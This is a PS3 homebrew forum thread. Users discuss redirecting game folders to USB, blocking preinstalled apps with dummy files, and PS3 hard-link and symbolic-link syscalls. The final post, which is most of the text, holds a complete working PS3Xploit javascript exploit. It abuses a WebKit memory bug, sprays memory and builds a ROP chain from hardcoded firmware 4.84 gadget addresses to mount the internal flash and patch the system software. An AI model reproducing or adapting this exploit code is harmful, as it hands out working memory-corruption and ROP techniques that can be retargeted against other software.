PS3 pkg_custom 1.4

Ps3_dev said:
I think it is possible to mount /dev_usb/BLES0000 as /dev_hdd0/game/
So we can run game for pendrive
Click to expand...
Yes, that's possible in CFW... Indeed that is what webMAN MOD does when you press SELECT+SQUARE ;)
webMAN MOD redirects /dev_hdd0/game to /dev_usb000/GAMEI

I don't know if it's possible with PS3Xploit... Maybe using sys_fs_symbolic_link (syscall 833) ?
 
DeViL303 said:
Possible idea - Can your pkg overwrite a folder, with a file? Because if so, you could release a "Block Singstar" pkg that just install the "game" file to dev_hdd0/tmp/explore/ . not sure if it will will work though, in middle of other stuff, but its an idea for someone to check out
Click to expand...
@DeViL303 i will test right after i go back home from the gym just send me needed codes or files in pm an if test works i will upload a video on youtube :) :love heart: also see this thread he talk about the order used in Install All Packages
https://www.psx-place.com/threads/i...manager-will-install-first.23535/#post-171450
 
Last edited:
Louay said:
@DeViL303 i will test right after i go back home from the gym just send me needed codes or files in pm an if test works i will upload a video on youtube :) :love heat: also see this thread he talk about the order used in Install All Packages
https://www.psx-place.com/threads/i...manager-will-install-first.23535/#post-171450
Click to expand...
Just create a dummy file , 0kb, called "game". and install it to the path i said. thats it. just not sure if pkg can overwrite a folder with file. its an unusual file operation.
 
DeViL303 said:
Just create a dummy file , 0kb, called "game". and install it to the path i said. thats it. just not sure if pkg can overwrite a folder with file. its an unusual file operation.
Click to expand...
i test it yestarday but diffrently i have pes18 and install pkg contains new PIC1 and ICON0 for NPEB0252 it was officel icon and image after it install it change the image so i think it will work with this ,anyway i will try as i told you
 
so the dummy game in /dev_hdd0/tmp/explore/xil2/ and with that you could remove singstar and other annoying apps !
 
aldostools said:
Yes, that's possible in CFW... Indeed that is what webMAN MOD does when you press SELECT+SQUARE ;)
webMAN MOD redirects /dev_hdd0/game to /dev_usb000/GAMEI

I don't know if it's possible with PS3Xploit... Maybe using sys_fs_symbolic_link (syscall 833) ?
Click to expand...

Are you using an official syscall to do that? If so, it should be possible.

DeViL303 said:
Actually the path is /dev_hdd0/tmp/explore/xil2/

And if it works, it you can make "music" and "tv" files too. To block those. Maybe separate packages. Maybe all in one, idk.
Click to expand...

Yeah it does work, you have to delete the folder first though. No biggie.
 
lmn7 said:
Are you using an official syscall to do that? If so, it should be possible.
Click to expand...

No. I use sys_map_path() function on Cobra and add_to_map() function of multiMAN payload on nonCobra mode.

webMAN MOD uses sys_fs_link (syscall 810) for shadow links of files in hdd0.
I haven't tried sys_fs_symbolic_link (syscall 833). I think it creates soft links.

The psdevwiki says that syscall 833 is an official syscall available in CEX, DEX and DECR:
int sys_fs_symbolic_link(char const*, char const*)
 
Last edited:
aldostools said:
No. I use sys_map_path() function on Cobra and add_to_map() function of multiMAN payload on nonCobra mode.

webMAN MOD uses sys_fs_link (syscall 810) for shadow links of files in hdd0.
I haven't tried sys_fs_symbolic_link (syscall 833). I think it creates soft links.

The psdevwiki says that syscall 833 is an official syscall available in CEX, DEX and DECR:
int sys_fs_symbolic_link(char const*, char const*)
Click to expand...
I think you can't create symbolic links across devices, I'm not sure it works on directories either... haven't tested it much.
 
lmn7 said:
I think you can't create symbolic links across devices, I'm not sure it works on directories either... haven't tested it much.
Click to expand...

According to the following post, a link symbolic link (soft link) can link files and folders across devices, while hard links (sys_fs_link) don't:
https://blog.usejournal.com/what-is...-a-hard-link-and-a-symbolic-link-8c0493041b62

what are the differences between hard and soft links?
A soft link does not contain the data in the target file.
A soft link points to another entry somewhere in the file system.
A soft link has the ability to link to directories, or to files on remote computers networked through NFS.
Deleting a target file for a symbolic link makes that link useless.
A hard link preserves the contents of the file.
A hard link cannot be created for directories, and they cannot cross filesystem boundaries or span across partitions.
Click to expand...

BTW that page talks about unix-like operating systems, it is not specific to PS3.
 
Last edited:
aldostools said:
No. I use sys_map_path() function on Cobra and add_to_map() function of multiMAN payload on nonCobra mode.

webMAN MOD uses sys_fs_link (syscall 810) for shadow links of files in hdd0.
I haven't tried sys_fs_symbolic_link (syscall 833). I think it creates soft links.

The psdevwiki says that syscall 833 is an official syscall available in CEX, DEX and DECR:
int sys_fs_symbolic_link(char const*, char const*)
Click to expand...
I wonder can any of the these methods, allow me to WRITE to a path like dev_usb000/test/ , but actually have the file write to dev_hdd0/test/ ? I can only seem to read with the map command in boot_init.txt
 
aldostools said:
According to the following post, a link symbolic link (soft link) can link files and folders across devices, while hard links (sys_fs_link) don't:
https://blog.usejournal.com/what-is...-a-hard-link-and-a-symbolic-link-8c0493041b62



BTW that page talks about unix-like operating systems, it is not specific to PS3.
Click to expand...
sys_fs_symbolic_link doesn't seem to work at all for me, I'm calling it properly but it doesn't seem to have any effect, unless the "links" don't show on the filesystem.

sys_fs_link does work though. I've tried googling but haven't really found a clear answer, what is the difference between a shadow link and a soft link? They seem like almost the same thing.

Also, I imagine sys_fs_link can't be called on directories?
 
lmn7 said:
sys_fs_symbolic_link doesn't seem to work at all for me, I'm calling it properly but it doesn't seem to have any effect, unless the "links" don't show on the filesystem.

sys_fs_link does work though. I've tried googling but haven't really found a clear answer, what is the difference between a shadow link and a soft link? They seem like almost the same thing.

Also, I imagine sys_fs_link can't be called on directories?
Click to expand...

The external post mentioned above explains very well the difference between hard links (or shadow links) and soft links.

sys_fs_link creates hard links and as explained on the external post, they only apply for files stored in Unix file system -UFS- (dev_hdd0 uses CELL_FS_UFS) or in ntfs devices (via ntfslib function ps3ntfs_link).

I'm not sure about sys_fs_symbolic_link (syscall 833), but for the function name I assume it creates soft links. As the article above explains, unlike the hard links that are different files that point to the same inodes, the soft links are files that point to any object in the FS (files or directories).

I haven't tried to use the function sys_fs_symbolic_link recently, but the last time I tried the ps3 freeze.

I wonder if syscall 833 is being patched by CFW, or maybe $0n¥ patched that function after 3.15 or later. And if it was patched, could it be added back?

@Joonie do you know?
 
Last edited:
aldostools said:
The external post mentioned above explains very well the difference between hard links (or shadow links) and soft links.

sys_fs_link creates hard links and as explained on the external post, they only apply for files stored in Unix file system -UFS- (dev_hdd0 uses CELL_FS_UFS) or in ntfs devices (via ntfslib function ps3ntfs_link).

I'm not sure about sys_fs_symbolic_link (syscall 833), but for the function name I assume it creates soft links. As the article above explains, unlike the hard links that are different files that point to the same inodes, the soft links are files that point to any object in the FS (files or directories).

I haven't tried to use the function sys_fs_symbolic_link recently, but the last time I tried the ps3 freeze.

I wonder if syscall 833 is being patched by CFW, or maybe $0n¥ patched that function after 3.15 or later. And if it was patched, could it be added back?

@Joonie do you know?
Click to expand...
Thank you for explaining. The way I perceived "shadow link" was that the link was nothing but a small placeholder file pointing to the original, I think "hard copy" makes more sense here.

I did get sys_fs_symblic_link to crash Webkit with specific parameters, but still nothing was changed. So I'm not sure what's going on with that syscall. Do you know if it ever worked at some point in the past?

BTW for people using the flash mounter to install mods to flash, try this debug package enabler + flash mounter in one script, I edited it for personal use as enabling two separate tools got annoying, but someone else may find it useful too

Code: 
javascript:eval('var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",ua=navigator.userAgent,fwv=ua.substring(ua.indexOf("5.0 (")+19,ua.indexOf(") Apple")),ipf1_addr=7256944,ipf2_addr=5272436;document.write(\47\74html\76\74title\76PS3Xploit - Offline Debug Package Enabler + Flash Mounter by lmn7\74/title\76\74h1\76Enabling debug packages & mounting flash...\74/h1\76\74div id="exploit"\76\74/div\76\74div id="trigger"\76\74/div\76\74/html\76\47);if(fwv=="4.84"){var toc_addr=7296344,default_vsh_pub_toc=7263660,vsh_opd_patch=617820,vsh_opd_addr=7256944,vsh_toc_addr_screenshot=7472764,vsh_ps3xploit_key_toc=7370860,toc_entry1_addr=7185360,toc_entry2_addr=7494456,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255752,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332644,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380764,gadget7_addr=131024,gadget8_addr=131072,gadget9_addr=170760,gadget10_addr=6479908,gadget11_addr=5874864,gadget12_addr=820812,gadget13_addr=4777384,gadget14_addr=4769696,gadget15_addr=4758664,gadget_mod1_addr=6352856,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod4b_addr=4376440,gadget_mod4c_addr=346864,gadget_mod5_addr=4339932,gadget_mod6_addr=134144,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,gadget_mod9_addr=68384,gadget_mod10_addr=1857428,gadget_mod11_addr=1618244,gadget_mod12_addr=6500860,gadget_mod13_addr=3369072,gadget_mod14_addr=6502656,gadget_mod15_addr=3788856,gadget_mod16_addr=5206828,ipf1_addr=7256952,ipf2_addr=5272436}function hexh2bin(a){return String.fromCharCode(a)}function hexw2bin(a){return String.fromCharCode(a\76\7616)+String.fromCharCode(a)}function hexdw2bin(a){return hexw2bin(0)+hexw2bin(a)}String.prototype.toHex16=function(){return(\470000\47+this).substr(-4)};String.prototype.toAscii=function(a){var b=\47\47;var i=0;while(i\74this.length){if(a===true){b+=this.charCodeAt(i).toString(16).toHex16()}else{b+=this.charCodeAt(i).toString(16)}i+=1}return b};String.prototype.convert=function(a){if(this.length\741){return\47\47}var b=\47\47;var c=\47\47;var i=0;var d=[];if(a===true){b=this}else{b=this.toAscii()}while((b.length%4)!==0){b+=\4700\47}if(b.substr(b.length-3,2)!==\4700\47){b+=\470000\47}while(i\74b.length){c=b.substr(i,4);d.push(String.fromCharCode(parseInt(c,16)));i+=4}return d.join(\47\47)};String.prototype.replaceAt=function(a,b){return this.substr(0,a)+b+this.substr(a+b.length)};String.prototype.repeat=function(a){return new Array(a+1).join(this)};Number.prototype.noExponents=function(){var a=String(this).split(/[eE]/);if(a.length===1){return a[0]}var z=\47\47,sign=this\740?\47-\47:\47\47,str=a[0].replace(\47.\47,\47\47),mag=Number(a[1])+1;if(mag\740){z=sign+\470.\47;while(mag++){z+=\470\47}return z+str.replace(/^\-/,\47\47)}mag-=str.length;while(mag--){z+=\470\47}return str+z};function fromIEEE754(a,b,c){var d=0;var g=[];var i;var j;var h;for(i=a.length;i;i-=1){h=a[i-1];for(j=8;j;j-=1){g.push(h%2?1:0);h=h\76\761}}g.reverse();var k=g.join(\47\47);var l=(1\74\74(b-1))-1;var s=parseInt(k.substring(0,1),2)?-1:1;var e=parseInt(k.substring(1,1+b),2);var f=parseInt(k.substring(1+b),2);if(e===(1\74\74b)-1){d=f!==0?NaN:s*Infinity}else if(e\760){d=s*Math.pow(2,e-l)*(1+f/Math.pow(2,c))}else if(f!==0){d=s*Math.pow(2,-(l-1))*(f/Math.pow(2,c))}else{d=s*0}return d.noExponents()}function generateIEEE754(a,b){var c=new Array((a\76\7624)&0xFF,(a\76\7616)&0xFF,(a\76\768)&0xFF,(a)&0xFF,(b\76\7624)&0xFF,(b\76\7616)&0xFF,(b\76\768)&0xFF,(b)&0xFF);return fromIEEE754(c,11,52)}function generateExploit(a,b){var n=(a\74\7432)|((b\76\761)-1);return generateIEEE754(a,(n-a))}function readMemory(a,b){if(document.getElementById(\47exploit\47)){document.getElementById(\47exploit\47).style.src="local("+generateExploit(a,b)+")"}}function checkMemory(a,b,c){if(document.getElementById(\47exploit\47)){readMemory(a,b);return document.getElementById(\47exploit\47).style.src.substr(6,c)}}function trigger(a){if(document.getElementById(\47trigger\47)){document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+a.toString(16)+")")}}function rop_exit(a){window.close()}function load_check(){if(total_loops\74max_loops){t_out=setTimeout(initROP,1000,false)}else{total_loops=0;t_out=0}}function findJsVariableOffset(a,b,c,d){readMemory(c,d);var e=document.getElementById(\47exploit\47).style.src.substr(6,d);var i=0;var t;var k;var f;var g;while(i\74(e.length*2)){if(e.charCodeAt(i/2)===b.charCodeAt(0)){f=0;for(k=0;k\74(b.length*2);k+=0x2){if(e.charCodeAt((i+k)/2)!==b.charCodeAt(k/2)){break}f+=1}if(f===b.length){g=c+i+4;for(t=0;t\74offset_array.length;t+=1){if(offset_array[t]===g){return-1}}offset_array.push(g);return g}}i+=0x10}var h=c+d;return 0}function memcpy(a,b,c){return callsub(gadget8_addr,a,b,c,0,0,0,0,0,0,0x70)}function store_word(a,b,c,d,e){if(c===null){c=gtemp_addr}if(d===null){d=gtemp_addr}if(e===null){e=gtemp_addr}return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(b)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(a-0xC74)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(0x70,dbyte41)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(e)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function stack_frame_hookup(){return unescape("\u4141\u2A2F")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(0x70,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("\u2F2A")}function syscall(a,b,c,d,e,f,g,h,i,j){if(j===null){j=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(j)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function callsub(a,b,c,d,e,f,g,h,i,j,k,l,m){var n=0x20;if(m===null){m=gtemp_addr}if(l===null){l=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(j)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(l)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(a)+fill_by_16bytes(k-n,dbyte00)+hexdw2bin(m)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function fill_by_4bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/4){c+=e.repeat(2);d++}return c}function fill_by_8bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/8){c+=e.repeat(4);d++}return c}function fill_by_16bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/16){c+=e.repeat(8);d++}return c}function initDefaults(){offset_array=[];xtra_data_addr=0;stack_frame_addr=0;jump_2_addr=0;jump_1_addr=0;ps3xploit_ecdsa_key_addr=0;index_key_addr=0;search_max_threshold=70*0x100000;search_base=0x80100000;search_size=2*mbytes;search_size_ext=0*mbytes;search_base_off=0*mbytes;total_loops++}function initROP(a){try{if(a===true){frame_fails=0;search_base_off=0;search_size_ext=0}if(t_out!==0){clearTimeout(t_out);t_out=0}initDefaults();flash_partition1="xxxxCELL_FS_IOS:BUILTIN_FLSH1";filesystem_fat="CELL_FS_FAT";mount_path_blind="/dev_blind";xtra_data=start_x.convert()+flash_partition1.convert()+filesystem_fat.convert()+mount_path_blind.convert()+unescape("\uFD7E");while(xtra_data_addr===0){if(search_max_threshold\74search_size){load_check();return}xtra_data=xtra_data.replaceAt(0,hexh2bin(0x7EFD));xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size);search_max_threshold-=search_size}flash_partition1_addr=xtra_data_addr+0x6;filesystem_fat_addr=flash_partition1_addr+28;mount_path_blind_addr=filesystem_fat_addr+14;stack_frame=stack_frame_hookup()+store_word(vsh_opd_addr,vsh_opd_patch)+store_word(ipf1_addr,ipf2_addr)+syscall(0x345,flash_partition1_addr,filesystem_fat_addr,mount_path_blind_addr,0,0,0,0,0)+stack_frame_exit();while(stack_frame_addr===0){if(search_max_threshold\74search_size+search_size_ext){frame_fails++;if((frame_fails%10)===0){search_base_off+=0;search_size_ext+=0}load_check();return}stack_frame=stack_frame.replaceAt(0,hexh2bin(0x2A2F));stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext);if(stack_frame_addr==-1)if(search_max_threshold\74search_size+search_size_ext){frame_fails++;load_check();return}search_max_threshold-=search_size+search_size_ext}jump_2=unescape("\u0102\u7EFB")+fill_by_16bytes(0x30,0x8282)+hexw2bin(stack_frame_addr)+unescape("\uFB7E");while(jump_2_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_2=jump_2.replaceAt(0,hexh2bin(0x7EFB));jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size);if(jump_2_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}jump_1=unescape("\u4141\u7EFA")+hexw2bin(jump_2_addr)+unescape("\uFA7E");while(jump_1_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_1=jump_1.replaceAt(0,hexh2bin(0x7EFA));jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size);if(jump_1_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}var b=checkMemory(stack_frame_addr-0x4,0x8000,stack_frame.length);var x=checkMemory(xtra_data_addr-0x4,0x1000,xtra_data.length);var c=checkMemory(jump_2_addr-0x4,0x1000,jump_2.length);var d=checkMemory(jump_1_addr-0x4,0x1000,jump_1.length);if((c===jump_2)&&(d===jump_1)&&(x===xtra_data)&&(b===stack_frame)){if(t_out!==0){clearTimeout(t_out)}triggerX()}else{load_check()}}catch(e){}}function triggerX(){setTimeout(trigger,1000,jump_1_addr);setTimeout(rop_exit,2000,hr);setTimeout(window.close,2000);t_out=0;total_loops=0}initROP(true);');
 
You must log in or register to reply here.

Similar threads

Back
Top